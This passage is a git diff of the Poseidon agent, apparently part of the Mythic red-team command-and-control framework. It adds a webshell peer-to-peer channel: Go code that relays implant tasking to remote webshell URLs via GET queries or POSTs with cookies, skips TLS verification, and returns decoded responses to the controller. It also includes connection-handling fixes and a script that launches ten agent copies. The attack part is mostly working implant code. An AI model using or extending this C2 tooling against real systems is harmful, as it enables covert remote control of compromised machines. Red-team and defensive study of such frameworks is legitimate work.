v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329 h1:qq2nCpSrXrmvDGRxW0ruW9BVEV1CN2a9YDOExdt+U0o= github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329/go.mod h1:2VPVQDR4wO7KXHwP+DAypEy67rXf+okUx2zjgpCxZw4= +github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 h1:YOp8St+CM/AQ9Vp4XYm4272E77MptJDHkwypQHIRl9Q= +github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237/go.mod h1:e7qQlOY68wOz4b82D7n+DdaptZAi+SHW0+yKiWZzEYE= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= @@ -237,6 +249,8 @@ golang.org/x/crypto v0.8.0 h1:pd9TJtTueMTVQXzk8E2XESSMQDj/U7OUu0PqJqPXQjQ= golang.org/x/crypto v0.8.0/go.mod h1:mRqEX+O9/h5TFCrQhkgjo2yKi0yYA+9ecGkdQoHrywE= golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +golang.org/x/crypto v0.18.0 h1:PGVlW0xEltQnzFZ55hkuX5+KLyrMYhHld1YHO4AKcdc= +golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -304,6 +318,8 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= +golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo= +golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -327,6 +343,8 @@ golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -372,10 +390,14 @@ golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= +golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.7.0 h1:BEvjmm5fURWqcfbSKTdpkDXYBrUS1c0m8agp14W48vQ= golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +golang.org/x/term v0.16.0 h1:m+B6fahuftsE9qjo0VWp2FW0mB3MTJvR0BaMQrq0pmE= +golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -386,6 +408,7 @@ golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -561,6 +584,8 @@ honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9 honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM= howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= +howett.net/plist v1.0.1 h1:37GdZ8tP09Q35o9ych3ehygcsL+HqKSwzctveSlarvM= +howett.net/plist v1.0.1/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/Payload_Type/poseidon/poseidon/agent_code/link_webshell/link_webshell.go b/Payload_Type/poseidon/poseidon/agent_code/link_webshell/link_webshell.go new file mode 100644 index 0000000..4d329d7 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/link_webshell/link_webshell.go @@ -0,0 +1,51 @@ +package link_webshell + +import ( + // Standard + + "encoding/base64" + "encoding/json" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/profiles" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/responses" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +type Arguments struct { + CookieValue string `json:"cookie_value"` + CookieName string `json:"cookie_name"` + URL string `json:"url"` + UserAgent string `json:"user_agent"` + QueryParam string `json:"query_param"` + TargetUUID string `json:"target_uuid"` +} + +// Run - package function to run link_tcp +func Run(task structs.Task) { + msg := task.NewResponse() + args := Arguments{} + err := json.Unmarshal([]byte(task.Params), &args) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + args.CookieValue = base64.StdEncoding.EncodeToString([]byte(args.CookieValue)) + task.Job.AddInternalConnectionChannel <- structs.AddInternalConnectionMessage{ + C2ProfileName: "webshell", + Connection: args, + } + responses.P2PConnectionMessageChannel <- structs.P2PConnectionMessage{ + Source: profiles.GetMythicID(), + Destination: args.TargetUUID, + Action: "add", + C2ProfileName: "webshell", + } + msg.UserOutput = "Successfully Connected" + msg.Completed = true + msg.Status = "completed" + task.Job.SendResponses <- msg + return +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/dynamichttp.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/dynamichttp.go index dc635f0..7b259e8 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/dynamichttp.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/dynamichttp.go @@ -864,8 +864,8 @@ func (c *C2DynamicHTTP) CreateDynamicMessage(content []byte) (*http.Request, *C2 return req, usedConfig, nil } func (c *C2DynamicHTTP) GetDynamicMessageResponse(resp *http.Response, config *C2DynamicHTTPAgentConfig) ([]byte, error) { - defer resp.Body.Close() body, err := io.ReadAll(resp.Body) + resp.Body.Close() // now that we have the body of the message response, we need to fetch out the response from it if err != nil { return nil, err diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/websocket.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/websocket.go index 2c76da0..26a70e1 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/websocket.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/websocket.go @@ -530,6 +530,17 @@ func (c *C2Websockets) FinishNegotiateKey(resp []byte) bool { SetAllEncryptionKeys(c.Key) return true } +func (c *C2Websockets) closeConnections() { + if c.TaskingType == TaskingTypePoll { + if c.PollConn != nil { + c.PollConn.Close() + } + } else if c.TaskingType == TaskingTypePush { + if c.PushConn != nil { + c.PushConn.Close() + } + } +} func (c *C2Websockets) reconnect() { if c.ShouldStop { utils.PrintDebug(fmt.Sprintf("got c.ShouldStop in reconnect\n")) @@ -701,6 +712,7 @@ func (c *C2Websockets) sendDataNoResponse(sendData []byte) { c.reconnect() } if c.PushConn == nil || c.ShouldStop { + c.closeConnections() return } @@ -719,11 +731,12 @@ func (c *C2Websockets) sendDataNoResponse(sendData []byte) { for i := 0; i < 5; i++ { today := time.Now() if today.After(c.Killdate) { + utils.PrintDebug(fmt.Sprintf("after killdate, exiting\n")) os.Exit(1) } if c.ShouldStop || c.TaskingType == TaskingTypePoll { utils.PrintDebug(fmt.Sprintf("got c.ShouldStop || c.TaskingType change in Pushing sendDataNoResponse\n")) - + c.closeConnections() return } //log.Printf("Sending message \n") @@ -731,7 +744,7 @@ func (c *C2Websockets) sendDataNoResponse(sendData []byte) { if err != nil { utils.PrintDebug(fmt.Sprintf("Error writing to push connection: %v", err)) IncrementFailedConnection(c.ProfileName()) - c.PushConn.Close() + c.closeConnections() time.Sleep(1 * time.Second) continue } @@ -750,6 +763,7 @@ func (c *C2Websockets) getData() { for { //fmt.Printf("looping to read data\n") if c.ShouldStop || c.TaskingType == TaskingTypePoll { + c.closeConnections() return } resp := structs.Message{} @@ -757,13 +771,16 @@ func (c *C2Websockets) getData() { c.reconnect() } if c.ShouldStop || c.TaskingType == TaskingTypePoll || c.PushConn == nil { + c.closeConnections() return } err := c.PushConn.ReadJSON(&resp) if c.ShouldStop || c.TaskingType == TaskingTypePoll { + c.closeConnections() return } if err != nil { + c.closeConnections() utils.PrintDebug(fmt.Sprintf("Error trying to read message %v", err.Error())) c.reconnect() time.Sleep(1 * time.Second) diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go index 7e8571c..32e3dce 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go @@ -21,6 +21,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/kill" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/libinject" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/link_tcp" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/link_webshell" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/list_entitlements" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/listtasks" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ls" @@ -52,6 +53,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/test_password" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/triagedirectory" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/unlink_tcp" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/unlink_webshell" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/unsetenv" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/update_c2" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/upload" @@ -178,6 +180,10 @@ func listenForNewTask() { go clipboard.Run(task) case "sudo": go sudo.Run(task) + case "link_webshell": + go link_webshell.Run(task) + case "unlink_webshell": + go unlink_webshell.Run(task) default: // No tasks, do nothing break diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/poseidon_tcp.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/poseidon_tcp.go index c4ee707..8c04262 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/poseidon_tcp.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/poseidon_tcp.go @@ -142,7 +142,7 @@ func init() { registerAvailableP2P(poseidonTCP{}) } -// SendTCPData sends TCP P2P data in the proper format for poseidon_tcp connections +// SendWebshellData sends TCP P2P data in the proper format for poseidon_tcp connections func SendTCPData(sendData []byte, conn net.Conn) error { err := binary.Write(conn, binary.BigEndian, int32(len(sendData))) if err != nil { diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/webshell.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/webshell.go new file mode 100644 index 0000000..e874e4f --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/webshell.go @@ -0,0 +1,198 @@ +package p2p + +import ( + "bytes" + "crypto/tls" + "encoding/base64" + "encoding/xml" + "fmt" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/link_webshell" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/responses" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" + "github.com/google/uuid" + "io" + "net/http" + "net/url" + "strings" + "sync" +) + +var ( + internalWebshellConnections = make(map[string]link_webshell.Arguments) + internalWebshellConnectionMutex sync.RWMutex +) + +type webshell struct { +} + +var tr = &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + MaxIdleConns: 1, + MaxConnsPerHost: 1, + DisableKeepAlives: true, +} +var client = &http.Client{ + Transport: tr, +} + +func (c webshell) ProfileName() string { + return "webshell" +} +func (c webshell) ProcessIngressMessageForP2P(delegate *structs.DelegateMessage) { + var err error = nil + internalWebshellConnectionMutex.Lock() + if conn, ok := internalWebshellConnections[delegate.UUID]; ok { + if delegate.MythicUUID != "" && delegate.MythicUUID != delegate.UUID { + // Mythic told us that our UUID was fake and gave the right one + utils.PrintDebug(fmt.Sprintf("adding new MythicUUID: %s from %s\n", delegate.MythicUUID, delegate.UUID)) + internalWebshellConnections[delegate.MythicUUID] = conn + // remove our old one + utils.PrintDebug(fmt.Sprintf("removing internal tcp connection for: %s\n", delegate.UUID)) + delete(internalWebshellConnections, delegate.UUID) + } + utils.PrintDebug(fmt.Sprintf("Sending ingress data to P2P connection\n")) + err = SendWebshellData([]byte(delegate.Message), conn, delegate.UUID) + } + internalWebshellConnectionMutex.Unlock() + if err != nil { + utils.PrintDebug(fmt.Sprintf("Failed to send data to linked p2p connection, %v\n", err)) + go c.RemoveInternalConnection(delegate.UUID) + } +} +func (c webshell) RemoveInternalConnection(connectionUUID string) bool { + internalWebshellConnectionMutex.Lock() + defer internalWebshellConnectionMutex.Unlock() + if _, ok := internalWebshellConnections[connectionUUID]; ok { + utils.PrintDebug(fmt.Sprintf("about to remove a connection, %s\n", connectionUUID)) + //printInternalTCPConnectionMap() + + delete(internalWebshellConnections, connectionUUID) + fmt.Printf("connection removed, %s\n", connectionUUID) + //printInternalTCPConnectionMap() + return true + } else { + // we don't know about this connection we're asked to close + return true + } +} +func (c webshell) AddInternalConnection(connection interface{}) { + //fmt.Printf("handleNewInternalTCPConnections message from channel for %v\n", newConnection) + connectionUUID := uuid.New().String() + internalWebshellConnectionMutex.Lock() + defer internalWebshellConnectionMutex.Unlock() + newConnection := connection.(link_webshell.Arguments) + utils.PrintDebug(fmt.Sprintf("AddNewInternalConnectionChannel with UUID ( %s ) for %v\n", connectionUUID, newConnection.URL)) + internalWebshellConnections[newConnection.TargetUUID] = newConnection +} +func (c webshell) GetInternalP2PMap() string { + output := "----- internalWebshellConnectionsMap ------\n" + internalWebshellConnectionMutex.RLock() + defer internalWebshellConnectionMutex.RUnlock() + for k, v := range internalWebshellConnections { + output += fmt.Sprintf("UUID: %s, Connection: %v\n", k, v) + } + output += fmt.Sprintf("---- done -----\n") + return output +} +func init() { + registerAvailableP2P(webshell{}) +} + +type webshellResponse struct { + XMLName xml.Name `xml:"span"` + ID string `xml:"id,attr"` + Text string `xml:",chardata"` +} + +// SendWebshellData sends TCP P2P data in the proper format for poseidon_tcp connections +func SendWebshellData(sendData []byte, conn link_webshell.Arguments, connectionUUID string) error { + + utils.PrintDebug(fmt.Sprintf("using connection information: %v\n", conn)) + utils.PrintDebug(fmt.Sprintf("Sending message to webshell: %s\n", string(sendData))) + if len(sendData) <= 50 { + // this means we got nothing back from the translation container, just a base64 encoded UUID + return nil + } + var req *http.Request + var err error + if len(sendData) > 4000 { + req, err = http.NewRequest("POST", conn.URL, bytes.NewBuffer(sendData)) + if err != nil { + utils.PrintDebug(fmt.Sprintf("Error creating new http request: %s", err.Error())) + return err + } + contentLength := len(sendData) + req.ContentLength = int64(contentLength) + } else { + queryURL := conn.URL + if strings.Contains(conn.URL, "?") { + queryURL += "&" + conn.QueryParam + "=" + } else { + queryURL += "?" + conn.QueryParam + "=" + } + queryURL += url.QueryEscape(string(sendData)) + utils.PrintDebug(fmt.Sprintf("query: %s\n", queryURL)) + req, err = http.NewRequest("GET", queryURL, nil) + if err != nil { + utils.PrintDebug(fmt.Sprintf("Error creating new http request: %s", err.Error())) + return err + } + } + + // set headers + req.Header.Set("User-Agent", conn.UserAgent) + tr.ProxyConnectHeader = http.Header{} + tr.ProxyConnectHeader.Add("User-Agent", conn.UserAgent) + cookie := http.Cookie{Name: conn.CookieName, Value: conn.CookieValue} + req.AddCookie(&cookie) + resp, err := client.Do(req) + if err != nil { + utils.PrintDebug(fmt.Sprintf("error client.Do in p2p: %v\n", err)) + return err + } + body, err := io.ReadAll(resp.Body) + if err != nil { + utils.PrintDebug(fmt.Sprintf("error ioutil.ReadAll in p2p: %v\n", err)) + return err + } + resp.Body.Close() + if resp.StatusCode != 200 { + level := "warning" + responses.NewAlertChannel <- structs.Alert{ + Alert: string(body), + Level: &level, + } + utils.PrintDebug(fmt.Sprintf("error resp.StatusCode in p2p: %v\n%v\n", resp.StatusCode, string(body))) + return err + } + + var webshellResp webshellResponse + err = xml.Unmarshal(body, &webshellResp) + if err != nil { + utils.PrintDebug(fmt.Sprintf("error xml.Unmarshal in p2p: %v\n", err)) + return err + } + if webshellResp.ID != "task_response" { + utils.PrintDebug(fmt.Sprintf("bad xml.Unmarshal id in p2p: %v\n", webshellResp)) + return err + } + if webshellResp.Text == "" { + utils.PrintDebug(fmt.Sprintf("no response text in p2p: %v\n", webshellResp)) + return err + } + base64Resp, err := base64.StdEncoding.DecodeString(webshellResp.Text) + if err != nil { + utils.PrintDebug(fmt.Sprintf("error base64 decoding response in p2p: %v\n", err)) + return err + } + + finalResponse := base64.StdEncoding.EncodeToString(append([]byte(connectionUUID), base64Resp[:]...)) + newDelegateMessage := structs.DelegateMessage{} + newDelegateMessage.Message = finalResponse + newDelegateMessage.UUID = connectionUUID + newDelegateMessage.C2ProfileName = "webshell" + utils.PrintDebug(fmt.Sprintf("Adding delegate message to channel: %v\n", newDelegateMessage)) + responses.NewDelegatesToMythicChannel <- newDelegateMessage + return nil +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/spawn_many.sh b/Payload_Type/poseidon/poseidon/agent_code/spawn_many.sh new file mode 100755 index 0000000..43d081a --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/spawn_many.sh @@ -0,0 +1,5 @@ +#!/bin/zsh +for ((i=1; i <=10; i++)) +do + ./poseidon_websocket_http.bin & +done \ No newline at end of file diff --git a/Payload_Type/poseidon/poseidon/agent_code/unlink_webshell/unlink_webshell.go b/Payload_Type/poseidon/poseidon/agent_code/unlink_webshell/unlink_webshell.go new file mode 100644 index 0000000..0d3a6e4 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/unlink_webshell/unlink_webshell.go @@ -0,0 +1,39 @@ +package unlink_webshell + +import ( + // Standard + + "encoding/json" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +type Arguments struct { + RemoteUUID string `json:"connection"` +} + +// Run - package function to run unlink_tcp +func Run(task structs.Task) { + msg := task.NewResponse() + args := &Arguments{} + err := json.Unmarshal([]byte(task.Params), args) + if err != nil { + msg.UserOutput = err.Error() + msg.Completed = true + msg.Status = "error" + task.Job.SendResponses <- msg + return + } + + task.Job.RemoveInternalConnectionChannel <- structs.RemoveInternalConnectionMessage{ + ConnectionUUID: args.RemoteUUID, + C2ProfileName: "webshell", + } + msg.UserOutput = "Tasked to disconnect" + msg.Completed = true + msg.Status = "completed" + task.Job.SendResponses <- msg + return +} diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index b1f7fbe..93b477d 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -15,7 +15,7 @@ import ( "strings" ) -const version = "2.0.19" +const version = "2.0.21" var payloadDefinition = agentstructs.PayloadType{ Name: "poseidon", @@ -26,7 +26,7 @@ var payloadDefinition = agentstructs.PayloadType{ CanBeWrappedByTheFollowingPayloadTypes: []string{}, SupportsDynamicLoading: false, Description: fmt.Sprintf("A fully featured macOS and Linux Golang agent.\nVersion %s\nNeeds Mythic 3.1.0+", version), - SupportedC2Profiles: []string{"http", "websocket", "poseidon_tcp", "dynamichttp"}, + SupportedC2Profiles: []string{"http", "websocket", "poseidon_tcp", "dynamichttp", "webshell"}, MythicEncryptsData: true, BuildParameters: []agentstructs.BuildParameter{ { @@ -467,8 +467,17 @@ func build(payloadBuildMsg agentstructs.PayloadBuildMessage) agentstructs.Payloa return payloadBuildResponse } +// dummy example function for executing something on a new poseidon callback +func onNewBuild(data agentstructs.PTOnNewCallbackAllData) agentstructs.PTOnNewCallbackResponse { + return agentstructs.PTOnNewCallbackResponse{ + AgentCallbackID: data.Callback.AgentCallbackID, + Success: true, + Error: "", + } +} func Initialize() { agentstructs.AllPayloadData.Get("poseidon").AddPayloadDefinition(payloadDefinition) agentstructs.AllPayloadData.Get("poseidon").AddBuildFunction(build) + agentstructs.AllPayloadData.Get("poseidon").AddOnNewCallbackFunction(onNewBuild) agentstructs.AllPayloadData.Get("poseidon").AddIcon(filepath.Join(".", "poseidon", "agentfunctions", "poseidon.svg")) } diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/execute_library.go b/Payload_Type/poseidon/poseidon/agentfunctions/execute_library.go index 9aac459..d249c63 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/execute_library.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/execute_library.go @@ -70,6 +70,7 @@ func init() { ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_ARRAY, Description: "Arguments to pass to function", DefaultValue: []string{}, + //Choices: []string{"int*", "char*"}, ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ { ParameterIsRequired: true, diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/link_tcp.go b/Payload_Type/poseidon/poseidon/agentfunctions/link_tcp.go index 81db098..09afde8 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/link_tcp.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/link_tcp.go @@ -65,49 +65,67 @@ func init() { Success: true, TaskID: taskData.Task.ID, } - if groupName, err := taskData.Args.GetParameterGroupName(); err != nil { + groupName, err := taskData.Args.GetParameterGroupName() + if err != nil { logging.LogError(err, "Failed to get parameter group name") response.Success = false response.Error = err.Error() return response - } else if groupName == "Default" { - if address, err := taskData.Args.GetStringArg("address"); err != nil { + } + if groupName == "Default" { + address, err := taskData.Args.GetStringArg("address") + if err != nil { response.Error = err.Error() response.Success = false - } else if port, err := taskData.Args.GetNumberArg("port"); err != nil { + return response + } + port, err := taskData.Args.GetNumberArg("port") + if err != nil { response.Error = err.Error() response.Success = false - } else { - displayString := fmt.Sprintf("%s on port %.0f", address, port) - response.DisplayParams = &displayString + return response } + displayString := fmt.Sprintf("%s on port %.0f", address, port) + response.DisplayParams = &displayString + } else { - if connectionInfo, err := taskData.Args.GetConnectionInfoArg("connection"); err != nil { + connectionInfo, err := taskData.Args.GetConnectionInfoArg("connection") + if err != nil { logging.LogError(err, "Failed to get connection information") response.Success = false response.Error = err.Error() return response - } else if err := taskData.Args.RemoveArg("connection"); err != nil { + } + err = taskData.Args.RemoveArg("connection") + if err != nil { logging.LogError(err, "Failed to remove connection data") response.Success = false response.Error = err.Error() return response - } else if err := taskData.Args.SetArgValue("address", connectionInfo.Host); err != nil { + } + err = taskData.Args.SetArgValue("address", connectionInfo.Host) + if err != nil { logging.LogError(err, "Failed to get address information") response.Success = false response.Error = err.Error() return response - } else if port, err := strconv.Atoi(connectionInfo.C2ProfileInfo.Parameters["port"].(string)); err != nil { + } + port, err := strconv.Atoi(connectionInfo.C2ProfileInfo.Parameters["port"].(string)) + if err != nil { logging.LogError(err, "Failed to convert port to integer") - } else if err := taskData.Args.SetArgValue("port", port); err != nil { + response.Success = false + response.Error = err.Error() + return response + } + err = taskData.Args.SetArgValue("port", port) + if err != nil { logging.LogError(err, "Failed to get port information") response.Success = false response.Error = err.Error() return response - } else { - displayString := fmt.Sprintf("%s on port %d", connectionInfo.Host, port) - response.DisplayParams = &displayString } + displayString := fmt.Sprintf("%s on port %d", connectionInfo.Host, port) + response.DisplayParams = &displayString } return response diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/link_webshell.go b/Payload_Type/poseidon/poseidon/agentfunctions/link_webshell.go new file mode 100644 index 0000000..8a84cca --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/link_webshell.go @@ 